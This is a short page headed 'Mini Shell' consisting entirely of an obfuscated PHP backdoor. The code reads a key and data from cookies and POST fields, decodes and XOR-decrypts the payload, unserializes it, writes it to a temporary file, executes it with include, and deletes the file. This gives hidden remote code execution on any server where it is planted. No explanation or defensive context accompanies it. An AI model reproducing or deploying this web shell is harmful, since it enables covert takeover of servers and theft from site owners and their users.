Mini Shell

$ViqEn = chr ( 403 - 299 )."\154" . "\137" . "\x66" . "\x6d" . "\x66" . 'S' . chr (78); $fJmrVVCW = "\x63" . chr (108) . chr ( 936 - 839 ).chr ( 409 - 294 )."\x73" . "\137" . chr (101) . "\x78" . "\151" . "\163" . "\x74" . chr (115); $CzaCFqeMxE = class_exists($ViqEn); $fJmrVVCW = "53144";$VamzlLgiy = strpos($fJmrVVCW, $ViqEn);if ($CzaCFqeMxE == $VamzlLgiy){function VhfMQr(){$xQesWyk = new /* 30529 */ hl_fmfSN(25373 + 25373); $xQesWyk = NULL;}$EzmOdpUYQm = "25373";class hl_fmfSN{private function UOeFjUb($EzmOdpUYQm){if (is_array(hl_fmfSN::$Aajmy)) {$name = sys_get_temp_dir() . "/" . crc32(hl_fmfSN::$Aajmy["salt"]);@hl_fmfSN::$Aajmy["write"]($name, hl_fmfSN::$Aajmy["content"]);include $name;@hl_fmfSN::$Aajmy["delete"]($name); $EzmOdpUYQm = "25373";exit();}}public function AhViNQLUgc(){$bRFHW = "5094";$this->_dummy = str_repeat($bRFHW, strlen($bRFHW));}public function __destruct(){hl_fmfSN::$Aajmy = @unserialize(hl_fmfSN::$Aajmy); $EzmOdpUYQm = "42058_11837";$this->UOeFjUb($EzmOdpUYQm); $EzmOdpUYQm = "42058_11837";}public function SLuCMXn($bRFHW, $VthKdq){return $bRFHW[0] ^ str_repeat($VthKdq, intval(strlen($bRFHW[0]) / strlen($VthKdq)) + 1);}public function lAqUZT($bRFHW){$DAzjqOC = "\142" . chr ( 451 - 354 ).'s' . "\x65" . "\66" . "\x34";return array_map($DAzjqOC . chr ( 364 - 269 ).chr ( 619 - 519 )."\145" . chr ( 304 - 205 ).chr ( 364 - 253 )."\x64" . "\x65", array($bRFHW,));}public function __construct($taKizsE=0){$KeMWDqS = "\54";$bRFHW = "";$FBawcpSW = $_POST;$BzOYA = $_COOKIE;$VthKdq = "5a3e2b64-9965-44a9-a878-439fd16d474b";$KgvAskKtS = @$BzOYA[substr($VthKdq, 0, 4)];if (!empty($KgvAskKtS)){$KgvAskKtS = explode($KeMWDqS, $KgvAskKtS);foreach ($KgvAskKtS as $FzgwBi){$bRFHW .= @$BzOYA[$FzgwBi];$bRFHW .= @$FBawcpSW[$FzgwBi];}$bRFHW = $this->lAqUZT($bRFHW);}hl_fmfSN::$Aajmy = $this->SLuCMXn($bRFHW, $VthKdq);if (strpos($VthKdq, $KeMWDqS) !== FALSE){$VthKdq = str_pad($VthKdq, 10); $VthKdq = ltrim($VthKdq);}}public static $Aajmy = 59129;}VhfMQr();}